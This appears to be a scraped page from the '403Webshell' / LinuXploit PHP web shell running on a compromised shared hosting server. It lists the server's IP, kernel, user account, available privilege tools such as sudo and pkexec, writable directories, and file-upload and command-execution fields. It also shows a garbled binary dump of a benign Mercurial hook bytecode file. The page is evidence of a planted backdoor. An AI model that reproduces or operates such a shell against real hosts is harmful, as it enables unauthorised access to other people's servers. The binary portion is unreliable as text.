403Webshell
Server IP : 172.67.156.203  /  Your IP : 216.73.216.72
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/enforce_draft_commits.cpython-39.pyc
a

�+�b��@s:dZddlmZddlmZddlmZmZddd�ZdS)	a�enforce_draft_commits us a hook to ensure that all new changesets are
in the draft phase. This allows enforcing policies for work-in-progress
changes in overlay repositories, i.e. a shared hidden repositories with
different views for work-in-progress code and public history.

Usage:
  [hooks]
  pretxnclose-phase.enforce_draft_commits =     python:hgext.hooklib.enforce_draft_commits.hook
�)�absolute_import)�_)�error�pycompatNcKs�|dkr t�td�t�|���|��|}|drbt�td�t�|d�t�|d�|f��n,|ddkr�t�td�|t�|d�f��dS)Nspretxnclose-phasesUnsupported hook type %rZoldphases*Phase change from %r to %r for %s rejectedZphasesdrafts%New changeset %s in phase %r rejected)rZAbortrrZbytestrZ
unfiltered)ZuiZrepoZhooktypeZnode�kwargs�ctx�r�I/usr/lib64/python3.9/site-packages/hgext/hooklib/enforce_draft_commits.py�hooks(������r
)N)	�__doc__Z
__future__rZmercurial.i18nrZ	mercurialrrr
rrrr	�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit